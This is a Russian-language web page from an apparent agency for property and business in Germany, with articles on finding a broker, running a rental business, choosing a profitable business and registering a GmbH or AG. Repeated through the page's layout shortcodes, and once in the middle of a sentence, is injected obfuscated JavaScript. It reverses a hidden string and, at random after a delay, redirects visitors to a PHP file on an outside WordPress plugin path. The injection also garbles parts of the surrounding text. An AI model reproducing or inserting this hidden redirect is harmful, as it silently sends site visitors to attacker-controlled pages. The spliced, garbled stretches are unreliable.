[separatoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tor toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}top_margin=»30″]

Зачастую, сталкиваясь с необходимостью поиска недвижимости в Германии, потенциальные покупатели поначалу теряются. Многие не знают, стоит ли искать жилье самостоятельно или нужно обращаться в агентства, как определить добросовестность компании и т.д.

Казалось бы, проще всего найти маклера в Германии и положиться на его помощь в поисках недвижимости, однако и здесь будущих собственников поджидает целый ряд непредвиденных трудностей.

Ошибки покупателей при поиске недвижимости в Германии

Нередко покупатели в начале поиска пытаются обойтись собственными силами, сэкономить на оплате услуг риелтора и найти необходимую недвижимость напрямую от владельца. Однако в Германии такие попытки, как правило, оборачиваются неудачей из-за того, что здесь порядка 95% недвижимости выставляется через специальные агентства. От частных лиц чаще всего продаются либо неликвидные, малоинтересные объекты, либо недвижимость по завышенной цене. Да и для иностранцев, не знающих тонкостей местных законов, в таких ситуациях существенно повышается риск попасться на крючок мошенников.

То есть, понятно, что лучше искать недвижимость с помощью профессионального маклера. Но тут возникает другая проблема — как найти маклера в Германии? В этом вопросе стоит проявлять особую осторожность, поскольку в последнее время количество мошенников, пытающихся заработать на рынке недвижимости, существенно выросло. С настороженностью нужно относиться к:

● Частным посредникам. Обычно в Германии, в частности в Берлине, маклер получает около 7,14% от стоимости недвижимости за свои услуги, поэтому в стране довольно много желающих заработать на этом рынке. Нередко такие услуги предоставляют переселенцы из стран бывшего Союза, не имеющие ни собственного офиса, ни регистрации, ни должных навыков.
● Иностранным продавцам. Если компания расположена не на территории Германии, вряд ли ее сотрудники будут хорошо ориентироваться в местном рынке недвижимости, да и для оформления сделки и решения всех насущных вопросов им придется перенаправлять клиента к местным, немецким компаниям, что чревато лишними затратами.
● Немецким агентствам недвижимости. Немцы, как правило, недоверчиво относятся к покупателям из стран Восточной Европы, да и языковой барьер часто оказывается непреодолим. К тому же, местные маклеры сопровождают сделку только до подписания договора купли-продажи, не предоставляя никаких постпродажных услуг.

Преимущества русскоязычных маклеров из крупных компаний

Остается только один вариант – обращаться к русскоязычным маклерам из крупных компаний, действующих на территории Германии. Сотрудники таких агентств помогут не только найти недвижимость и оформить ее покупку. Обычно они предлагают также и помощь в общении с нотариусом и домоуправлением, перевод договора и корреспонденции, открытие счетов в банках, помощь в оплате счетов и т.д. И все это – за ту же комиссию!

Кстати, когда вы ищете маклера в Германии, обязательно интересуйтесь наличием разрешения на ведение маклерской деятельности в соответствии с §34 GewO.

[separatoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tor toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}top_margin=»25″]

Поделиться с друзьями

[separatoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tor toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}top_margin=»-35″]

Арендный бизнес в Германии

[separatoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tor toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}top_margin=»30″]

Вести арендный бизнес в Германии не только выгодно, но еще и легко. Дело в том, что около 80% жителей Берлина и более 60% людей из других городов предпочитают именно снимать недвижимость, а не приобретать ее, поскольку в этом случае они имеют право воспользоваться поддержкой государства и получить крупные субсидии. Кроме того, большинство немцев меняют жилье вместе с работой и часто переезжают. Для удобства граждан механизм заключения сделок был упрощен, а все процедуры стандартизированы, поэтому риск возникновения проблем при сдаче жилья минимален. Наконец, еще одно преимущество ведения арендного бизнеса в Германии заключается в том, что иностранный владелец объекта недвижимости приобретает те же права, что и гражданин страны. Это означает отсутствие ограничений на заключение сделок, проведение операций с капиталом, получение кредитов и возможность открытия счетов в национальных банках.

Выбор и сдача недвижимости в аренду: основные аспекты

Прежде чем купить объект, нужно тщательно изучить все его недостатки и преимущества, а также определить примерный доход, который он вам принесет. Окупаемость недвижимости зависит от многих факторов:

● Назначение объекта. Средний доход от сдачи жилой недвижимости в Германии составляет от 4,5% годовых, а офисной, торговой и складской от 6%.
● Расположение. Чем больше населенный пункт, где вы планируете приобрести недвижимость, тем выше шанс организовать успешный арендный бизнес . Обращайте особое внимание на крупные города – Берлин, Мюнхен, Франкфурт, Гамбург.
● Техническое состояние. От него зависит, какую сумму придется потратить на ремонт и насколько охотно люди станут снимать недвижимость.
● Коммунальные платежи. Для двух схожих объектов они могут быть совершенно разными, а значит, не изучив вопрос внимательно, вы рискуете уменьшить свою прибыль.
● Перспективы. Чем выше шансы развития города, где вы приобретаете недвижимость, тем выгоднее будет инвестиция и последующая продажа.

Человеку, который не разбирается глубоко в особенностях немецкого рынка и законодательства, трудно учесть все нюансы. Именно поэтому мы советуем перед выбором объекта посоветоваться с нашими специалистами.

Особенности сдачи немецкой недвижимости, о которых вам нужно знать

Тонкости ведения арендного бизнеса в Германии и России сильно различаются, и это важно учитывать. Укажем основные нюансы, которые следует знать каждому, кто хочет выгодно сдавать немецкую недвижимость:

● В Германии широко распространены бессрочные договоры аренды. С одной стороны, это позволяет найти арендатора на очень долгий срок, но с другой требует тщательного выбора людей, которые будут пользоваться недвижимостью.
● Более выгодной сдачей в аренду недвижимости является сдача под определенный срок, например, на год, два или три. Так как по законодательству собственник жилья не имеет право выселить арендатора в течении бессрочного договора, а также поднимать арендную плату. Важно учитывать, что цены меняются с каждым годом в сторону повышения.
● Согласно законам, человек, снимающий жилье или офис, обязан вернуть объект владельцу именно в том состоянии, в котором его получил. Это сводит к минимуму риск того, что ваше имущество будет испорчено.
● Арендатор не только сам оплачивает счета за газ, интернет, телефон и электричество, но и заключает соответствующие договоры с компаниями на свое имя. Это значит, что собственнику не придется иметь дело с чужими задолженностями. Его нельзя принудить к оплате счетов, если арендатор вдруг съедет.
● Владелец объекта должен сам нести расходы, связанные с капитальным ремонтом, налогообложением и использованием услуг управляющей компании.

Более подробную информацию о том, как сделать арендный бизнес максимально выгодным, вы можете получить у специалистов нашей компании.

[separatoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tor toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}top_margin=»25″]

Поделиться с друзьями

[separatoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tor toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}top_margin=»-35″]

Какой бизнес в Германии самый доходный

[separatoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tor toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}top_margin=»30″]

Отвечая на вопрос, какой бизнес в Германии самый доходный , нужно учитывать, в первую очередь, специализацию и знания того человека, который планирует открыть свое дело. На первый взгляд такой подход может показаться странным, однако статистика показывает, что в большинстве случаев прибыльная идея не приносит результатов, если у людей, которые ее используют, нет необходимых умений и навыков. Именно поэтому мы предлагаем для рассмотрения несколько вариантов доходного бизнеса в Германии , среди которых вы сможете выбрать тот, который принесет наибольшую прибыль именно вам.

Работа с недвижимостью

Бесспорно, это одно из наиболее перспективных и интересных направлений. У такого бизнеса есть несколько форм:

● Сдача в аренду коммерческой, торговой и складской недвижимости принесет от 4-6% годовых. Особенно выгодно покупать помещения и передавать их владельцам ресторанов, магазинов и офисов.
● Покупка земельных участков – превосходный вариант инвестиций. После строительства виллы или коттеджа объект можно продать по очень выгодной цене, получив большую прибыль.
● Сдача жилья позволит получать примерно от 4,5-4,9% годовых. Большинство немцев арендуют квартиры на протяжении всей своей жизни, поэтому вы легко найдете клиентов.
● Открытие гостиницы или хостела поможет в короткие сроки получить значительную прибыль. Высокая окупаемость объясняется огромным количеством туристов из разных стран и путешествующих студентов.
● Покупка и содержание дома для престарелых – стабильный, надежный вариант ведения бизнеса. Такие заведения в Германии находятся под государственной опекой, что дает их владельцу и гарантии, и преимущества.

Согласно мнению специалистов, именно работа с недвижимостью позволяет получить стабильную, значительную прибыль, однако для достижения успеха в этом бизнесе очень важно правильно выбирать объекты. Следует учитывать не только их техническое состояние, но и расположение, особенности инфраструктуры, перспективы района или населенного пункта. Чтобы не допустить ошибку, стоит обратиться за помощью к специалистам нашей компании.

Варианты, достойные вашего внимания

Конечно, самый доходный бизнес в Германии связан с недвижимостью. Однако есть и другие способы получения прибыли, которые могут подойти именно вам:

● Сети быстрого питания. Популярность роскошных ресторанов и кафе в последние годы постепенно снижается, зато прибыль заведений, предлагающих недорогой и вкусный фастфуд, неуклонно растет. Чем выше проходимость возле закусочной, тем быстрее вы окупите затраты на открытие бизнеса.
● Продуктовые магазины и $mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-retoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}torgovye-centry»>торговые центры. Торговля в Европе постепенно переходит в режим онлайн. Однако продуктовых супермаркетов и торговых центров это не касается: популярность таких объектов по-прежнему высока. При правильном ведении бизнеса доходность будет около 7-11% годовых.
● Парикмахерские и салоны красоты. При наличии хороших мастеров такой бизнес окупается в среднем за 10-11 месяцев, поскольку услуги парикмахеров, стилистов, визажистов, специалистов по маникюру и педикюру в Германии не только популярны, но еще и довольно дороги.

Не стоит забывать и о перспективах. С каждым годом забота об окружающей среде все сильнее входит в моду среди немцев, поэтому, согласно мнению аналитиков, через некоторое время парки солнечных батарей и другие схожие варианты бизнеса могут оказаться наиболее доходными.

[separatoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tor toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}top_margin=»25″]

Поделиться с друзьями

[separatoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tor toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}top_margin=»-35″]

Как открыть свой бизнес в Германии

[separatoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tor toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}top_margin=»30″]

Открыть свой бизнес в Германии можно, даже не имея гражданства этой страны. Дело в том, что немецкое правительство поощряет вложения в экономику. Оно активно поддерживает любой бизнес, включая малый , и не устанавливает ограничений для граждан России и других государств. Инвесторам разрешается не только иметь счет в национальном банке, но также брать кредиты на выгодных условиях и совершать сделки с капиталом. Более того, иностранцам , которые открывают бизнес в Германии , предоставляется возможность оформить ВНЖ для себя и семьи. Однако прежде чем приступить к регистрации собственной фирмы, нужно внимательно изучить особенности законодательства выбранной страны.

Выбор организационно-правовой формы

Немецкое законодательство предусматривает две основных формы ведения бизнеса:

● GmbH (Gesellschaft mit beschrankter Haftung). Согласно статистике , эта организационно-правовая форма является наиболее распространенной. Она хорошо подходит для малого и среднего бизнеса. Ее особенности – простота регистрации, отсутствие должностных обязательств участников и необходимости публиковать финансовые отчеты, а также возможность оформления только на территории Германии;
● AG (Aktiengesellschaft). Такая форма подходит для крупной компании. Минимальное количество учредителей фирмы – 5 человек. Организация состоит из трех частей: акционеры, наблюдательный совет и правление. В списке обязанностей компаний, выбравших эту форму, ежегодное составление и публикация финансовых отчетов.

Существуют также партнерства с неограниченной ответственностью, коммандитные товарищества и корпоративные сообщества. Они не имеют юридического статуса, однако обладают многими правами и льготами. Такие организационно-правовые формы нередко выбирают при открытии небольшого семейного предприятия.

Процедура регистрации

После того как вы найдете интересную идею бизнеса и выберете организационно-правовую форму, можно будет приступать к оформлению документов. Взглянув на нашу пошаговую инструкцию , вы поймете, что регистрация окажется несложной:

● Купите или арендуйте офис. Это необходимо сделать, чтобы у вашего предприятия был юридический адрес. Также вам нужно получить немецкий номер телефона.
● Выберите имя организации. Его необходимо зарегистрировать в торгово-промышленной палате. В некоторых случаях требуется также получение лицензий на право ведения выбранного вида деятельности.
● Составьте учредительный договор и разработайте устав. Эту работу можно доверить профессионалам.
● Передайте документы нотариусу для заверения и откройте счет в банке. После этого вы сможете приступить к ведению бизнеса.

С момента передачи бумаг нотариусу до получения регистрационного номера проходит около 4 месяцев. Однако есть немало примеров , когда фирма начинала свою деятельность уже в этот период. Чтобы работать законно, нужно лишь ставить на всех документах пометку I.G., что означает, что ваша компания еще находится в процессе регистрации. В этом случае у контролирующих органов не возникнет вопросов к вам.

Знание всех нюансов защитит от ошибок. Если вы хотите узнать во всех подробностях, как открыть бизнес в Германии и обеспечить его развитие , обращайтесь к специалистам нашей компании.

